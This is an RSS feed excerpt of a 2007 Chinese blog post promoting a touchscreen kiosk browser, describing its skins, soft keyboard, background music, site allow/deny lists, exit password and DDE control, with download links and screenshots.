<P style="TEXT-INDENT: 2em">&nbsp;<FONT color=#ff0000>1.键盘可以设置大小,键盘按钮的图片可以在对应目录中的图片进行替换</FONT></P>
<P style="TEXT-INDENT: 2em"><FONT color=#ff0000>&nbsp;2.透明背景方式也采用了和不透明背影方式：可以指定显示图片,具体情况请下载试用,以下截图不包括以上修改的内容。</FONT></P>
<P style="TEXT-INDENT: 2em">最新版下载地址:<A href="http://www.whbestsoft.com/download/file/cmp.rar">http://www.whbestsoft.com/download/file/cmp.rar</A></P>
<P style="TEXT-INDENT: 2em"><FONT size=3><FONT color=#ffff00>多特软件站，安全绿色的下载网站</FONT>:<A href="http://www.duote.com/" target=_blank>http://www.duote.com</A></FONT></P>
<P style="TEXT-INDENT: 2em"><FONT size=3>《华军软件园》下载页面:<A href="http://www.onlinedown.net/soft/53708.htm" target=_blank>http://www.onlinedown.net/soft/53708.htm</A></FONT></P>
<P style="TEXT-INDENT: 2em"><STRONG><FONT face=宋体 color=#000080 size=3>◆本软件为纯绿色软件，解压即可使用。</FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=left><A href="http://img.blog.163.com/photo/R-W5Dq5Y3qXnV5CCXD950A==/2549600339045326942.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/R-W5Dq5Y3qXnV5CCXD950A==/2549600339045326942.jpg"></A>&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;其中<FONT color=#ff0000>cmpset.exe</FONT>为设置文件，第一次使用请先执行此程序进行设置。&nbsp;&nbsp; <FONT color=#ff0000>cmp.exe</FONT>思特触摸屏浏览器主程序&nbsp;&nbsp; <FONT color=#ff0000>DDeClient.exe</FONT>为与<FONT color=#0000ff>cmp.exe</FONT>进行通迅操作的DDE示例程序。<FONT color=#ff0000>music</FONT>为默认的音乐文件夹，<FONT color=#ff0000>parameter</FONT>为设置时的参数保存目录，<FONT color=#ff0000>skins</FONT>为触摸屏浏览器的皮肤界面文件。&nbsp;&nbsp; </P>
<P style="TEXT-INDENT: 2em"><STRONG><FONT face=宋体 color=#000080 size=3>◆本软件基于IE内核，只要IE能浏览显示的，本软件同样可以浏览显示，如flash，声音等</FONT></STRONG></P>
<P style="TEXT-INDENT: 2em"><STRONG><FONT face=宋体 color=#000080 size=3>等，一些限制设置可以在IE浏览器中进行设置（如禁止下载等功能）。</FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/e9ZrVfV_PMskvbVEyClGDA==/5365757481035397921.jpg" target=_blank></A></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT color=#000080><FONT size=3><A href="http://img.blog.163.com/photo/hyOppJd6OF0noKFK6X_Inw==/282037926664368593.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/hyOppJd6OF0noKFK6X_Inw==/282037926664368593.jpg"></A></FONT></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=left><STRONG><FONT color=#000080><FONT size=3>◆界面可以设置为允许网址输入、多页面显示、单页面显示，既可作为触摸屏浏览器使用，也可以作为普通的浏览器使用，可以根据实际情况进行设置:</FONT></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/tF05ob2s1zPRmfbJ8-j7Ow==/4810688826962099655.jpg" target=_blank></A></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT color=#000080><A href="http://img.blog.163.com/photo/m1TV3eWHQ4x5UU0b95Gc7w==/2545659689371456853.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/m1TV3eWHQ4x5UU0b95Gc7w==/2545659689371456853.jpg"></A></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT color=#000080><A href="http://img.blog.163.com/photo/ykqE-nStLggoq1mtO6N1dg==/584342051651568517.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/ykqE-nStLggoq1mtO6N1dg==/584342051651568517.jpg"></A></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/r7GOLO2-0GmsUNtvZ9JwMw==/2255740463359438376.jpg"><IMG src="http://img.blog.163.com/photo/r7GOLO2-0GmsUNtvZ9JwMw==/2255740463359438376.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT color=#000080><A href="http://img.blog.163.com/photo/MToLNGHkiGKFvsVuzKccwQ==/2255740463359438380.jpg"><IMG src="http://img.blog.163.com/photo/MToLNGHkiGKFvsVuzKccwQ==/2255740463359438380.jpg" border=0></A></FONT></STRONG></P><A href="http://img.blog.163.com/photo/2_vz251dFOsGfsM2R2qnyw==/4835458624912588217.jpg" target=_blank></A><STRONG><FONT color=#000080><A href="http://img.blog.163.com/photo/i6PwTL7r3SBZJATTXKAgiQ==/4810688826962099701.jpg" target=_blank></A></FONT></STRONG>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG>◆底部面板可以自定义,用户可加入自已的按钮图片与位置大小等信息。</STRONG></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/w5BHKeRfVqcA8PiA49cYwQ==/2545659689371456874.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/w5BHKeRfVqcA8PiA49cYwQ==/2545659689371456874.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/r97XFm_Ep0CI4v-c-Edrdg==/1703768034029980628.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/r97XFm_Ep0CI4v-c-Edrdg==/1703768034029980628.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/sF_jmr2WGPHdm1tMdCkbew==/299489375220501254.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/sF_jmr2WGPHdm1tMdCkbew==/299489375220501254.jpg"></A></P>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG>◆网页导航条(如上一页、下一页、停止、刷新等)有两种模式(透明与不透明的)可供选择，并且导航按钮可以根据实际需要进行取舍，同时指定导航条隐藏与显示,在浏览某些页面时显示或者隐藏导航条。</STRONG></FONT> </P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/Yn0k2kNnHCFtJd_fV47wDQ==/584342051651568762.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/Yn0k2kNnHCFtJd_fV47wDQ==/584342051651568762.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#0000ff size=2>透明</FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/O030gKrJGPwiIrV5HiGtbg==/4835458624912588466.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/O030gKrJGPwiIrV5HiGtbg==/4835458624912588466.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#0000ff size=2>不透明</FONT></P>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#003366><STRONG><FONT size=3><FONT color=#000080>◆本软件默认集成有9种皮肤界面，另外还带有几十个皮肤文件，可根据个人喜好进行自定义，总能够设计一款你所喜欢的软件界面出来</FONT>。</FONT></STRONG></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/2_vz251dFOsGfsM2R2qnyw==/4835458624912588217.jpg"><IMG src="http://img.blog.163.com/photo/2_vz251dFOsGfsM2R2qnyw==/4835458624912588217.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/i6PwTL7r3SBZJATTXKAgiQ==/4810688826962099701.jpg"><IMG src="http://img.blog.163.com/photo/i6PwTL7r3SBZJATTXKAgiQ==/4810688826962099701.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/tzmrJCVwAF3lCgDk63aSNA==/5365757481035397322.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/tzmrJCVwAF3lCgDk63aSNA==/5365757481035397322.jpg"></A></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG></STRONG></FONT>&nbsp; </P>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG>◆可自动的随机或顺序播放播放背景音乐，支持MP3、wma、wav、mid等音乐格式，背景音乐的添加非常简单，只需要将音乐拷贝到指定目录或指向某一音乐目录即可，软件更提供了当浏览特定页址时关闭背景音乐的功能(如当用户进入某些已经有声音的网页时可设置背景音乐自动停止，当退出时，背景音乐又在继续播放)，使您的触摸屏软件设计更具灵活性，满足用户的任意需求。 </STRONG></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT face=宋体 color=#000080 size=3><A href="http://img.blog.163.com/photo/jeS_Ep3VyhGmfDIjzzpF8A==/4812659151799074172.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/jeS_Ep3VyhGmfDIjzzpF8A==/4812659151799074172.jpg"></A></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><STRONG><FONT face=宋体 color=#000080 size=3><A href="http://img.blog.163.com/photo/iN5sOXMprlOkHGnnlwAnEg==/4014396117847593897.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/3P2iAvve4NxTOO5qOt5TZg==/2255740463359438049.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/Ep4hse22CxRpp-e62NGvFg==/4014396117847593898.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/Ep4hse22CxRpp-e62NGvFg==/4014396117847593898.jpg"></A></FONT></STRONG></P>
<P style="TEXT-INDENT: 2em" align=center><FONT face=宋体 color=#000080 size=3><FONT color=#0000ff size=2></FONT>&nbsp;</FONT></P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/PlJcIyYcv4gWGUOTTK5XZA==/4014396117847593899.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/EnGNO_BOamLqHMdD02J-Tw==/4014396117847593901.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/fgX3WkP1D_brV19o6XxBvg==/4812659151799074175.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/tbkjUaULJeQgPtu5BZQRQQ==/2255740463359438052.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/G1qsxD3HB3tPAvl5tedNDg==/4014396117847593905.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/UlTs-CzslzQemB1qdpAu7g==/4013833167894172712.jpg" target=_blank></A></FONT><FONT face=宋体 color=#000080 size=3><STRONG>◆触摸屏软键盘可快速的输入中英文，用户可根据自己喜好选择系统任意输入法进行输入,可以设置在浏览某些页面时显示或者隐藏触摸屏软键盘。 </STRONG></FONT></P><FONT face=宋体 color=#000080 size=3>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/UlTs-CzslzQemB1qdpAu7g==/4013833167894172712.jpg"><STRONG><IMG src="http://img.blog.163.com/photo/UlTs-CzslzQemB1qdpAu7g==/4013833167894172712.jpg" border=0></STRONG></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#0000ff size=2>实际中应用的键盘</FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/0cSbUWZvXDSh1jCkhdexQQ==/5365757481035397587.jpg"><STRONG><IMG src="http://img.blog.163.com/photo/0cSbUWZvXDSh1jCkhdexQQ==/5365757481035397587.jpg" border=0></STRONG></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/PlJcIyYcv4gWGUOTTK5XZA==/4014396117847593899.jpg"><STRONG><IMG src="http://img.blog.163.com/photo/PlJcIyYcv4gWGUOTTK5XZA==/4014396117847593899.jpg" border=0></STRONG></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#0000ff size=2>键盘位置设置</FONT></P>
<P style="TEXT-INDENT: 2em"></P></FONT><FONT face=宋体 color=#000080 size=3><STRONG>◆方便触摸屏浏览器退出，有两种退出模式进行选择，提供退出密码保护，防止用户误操作而退出触摸屏浏览器软件。</STRONG></FONT> 
<P></P><FONT face=宋体 color=#000080 size=3>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/fgX3WkP1D_brV19o6XxBvg==/4812659151799074175.jpg"><STRONG><IMG src="http://img.blog.163.com/photo/fgX3WkP1D_brV19o6XxBvg==/4812659151799074175.jpg" border=0></STRONG></A></P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/3P2iAvve4NxTOO5qOt5TZg==/2255740463359438049.jpg" target=_blank><STRONG><IMG src="http://img.blog.163.com/photo/3P2iAvve4NxTOO5qOt5TZg==/2255740463359438049.jpg"></STRONG></A></P>
<P style="TEXT-INDENT: 2em" align=center><FONT color=#0000ff size=2>带键盘输入的退出功能</FONT></P></FONT><FONT face=宋体 color=#000080 size=3></FONT>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG>◆浏览某一网页时可能不希望浏览的页面出现(如弹出式的窗口)，本软件提供限制用户只访问某些网站或者限制用户不能访问某些网站的功能，提供只充许和只禁止两种模式，防止触摸屏使用者通过触摸屏访问任意网站，在不更改用户网站的情况下，轻松实现在触摸屏上展示用户网站的目的，有效防止触摸屏一体机变成了其他用途的机器。</STRONG></FONT></P><STRONG><FONT face=宋体 color=#000080 size=3>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/EnGNO_BOamLqHMdD02J-Tw==/4014396117847593901.jpg"><IMG src="http://img.blog.163.com/photo/EnGNO_BOamLqHMdD02J-Tw==/4014396117847593901.jpg" border=0></A></P></FONT></STRONG><STRONG><FONT face=宋体 color=#000080 size=3></FONT></STRONG>
<P style="TEXT-INDENT: 2em"><FONT face=宋体 color=#000080 size=3><STRONG>◆具有自动返回程序首页或定时关机的功能等，如果网页内容为本地的IIS所提供，可设置等IIS启动后自动启动网页。</STRONG></FONT></P><FONT face=宋体 color=#000080 size=3><STRONG>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/zeiunTQo0MBNFzTyA9ZABw==/4525836150530910356.jpg" target=_blank></A><A href="http://img.blog.163.com/photo/-CbX_yLHD0a4oFr5NL-jYQ==/4525836150530910400.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/-CbX_yLHD0a4oFr5NL-jYQ==/4525836150530910400.jpg"></A><A href="http://img.blog.163.com/photo/W19nXYyFk_Ya-GIsET3y8w==/4805340802404580578.jpg" target=_blank></A></P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/G1qsxD3HB3tPAvl5tedNDg==/4014396117847593905.jpg"></A></P></STRONG></FONT><FONT face=宋体 color=#000080 size=3><STRONG>◆外部程序通过DDE方式控制触摸屏浏览器的功能（如访问某一网页，发送提示信息等），本软件提供了一个示例，并可根据用户需要定向开发，满足用户的特殊需求！</STRONG></FONT> 
<P></P>
<P style="TEXT-INDENT: 2em"><A href="http://img.blog.163.com/photo/tbkjUaULJeQgPtu5BZQRQQ==/2255740463359438052.jpg"><IMG src="http://img.blog.163.com/photo/tbkjUaULJeQgPtu5BZQRQQ==/2255740463359438052.jpg" border=0></A><STRONG><FONT face=宋体 color=#000080 size=3></FONT></STRONG> </P>
<P style="TEXT-INDENT: 2em"><FONT face=楷体_GB2312 color=#ff0000 size=4>使用前请先运行cmpset.exe进行设置，选择符合自已需的模式。本软件为注册软件，未注册软件只在启动后会显示一个未注册提示框，注册成功后就会消失！<FONT color=#0000ff><STRONG>加我QQ请注明"<FONT style="BACKGROUND-COLOR: #000000" color=#ffffff>触摸屏浏览器</FONT>"</STRONG></FONT></FONT></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/iN5sOXMprlOkHGnnlwAnEg==/4014396117847593897.jpg"><IMG src="http://img.blog.163.com/photo/iN5sOXMprlOkHGnnlwAnEg==/4014396117847593897.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/G1qsxD3HB3tPAvl5tedNDg==/4014396117847593905.jpg"><IMG src="http://img.blog.163.com/photo/G1qsxD3HB3tPAvl5tedNDg==/4014396117847593905.jpg" border=0></A></P>
<P style="TEXT-INDENT: 2em" align=center><A href="http://img.blog.163.com/photo/NXN0i3410niRAI_0vUkIpg==/4581849670896249780.jpg" target=_blank><IMG src="http://img.blog.163.com/photo/NXN0i3410niRAI_0vUkIpg==/4581849670896249780.jpg"></A></P>
<P style="TEXT-INDENT: 2em" align=center>&nbsp;</P></div>]]></description>
	    <author><![CDATA[思特]]></author>
	    <comments>http://whbestsoft.blog.163.com/blog/static/318814612007822105536197</comments>
    <slash:comments>5</slash:comments>
    <guid isPermaLink="true">http://whbestsoft.blog.163.com/blog/static/318814612007822105536197</guid>
    <pubDate>Sat, 22 Sep 2007 10:55:36 +0800</pubDate>
    <dcterms:modified>2008-06-18T16:54:43+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[我的密友]]></title>	
    <link></link>
    <description><![CDATA[<div>
			<a href="http://blog.163.com/blog_admin/" target="_blank"><img src="http://ava.blog.163.com/photo/kXzRnDawt6_9QjnRphn-yA==/177610710304674017.jpg" border="0" />博客小管</a>
</div>]]></description>
    <guid isPermaLink="false">http://whbestsoft.blog.163.com/friends</guid>
    <pubDate>Tue, 1 Jan 2008 00:00:00 +0800</pubDate>
    <dcterms:modified>2008-01-01T00:00:00+08:00</dcterms:modified>
  </item>    
 </channel>
</rss>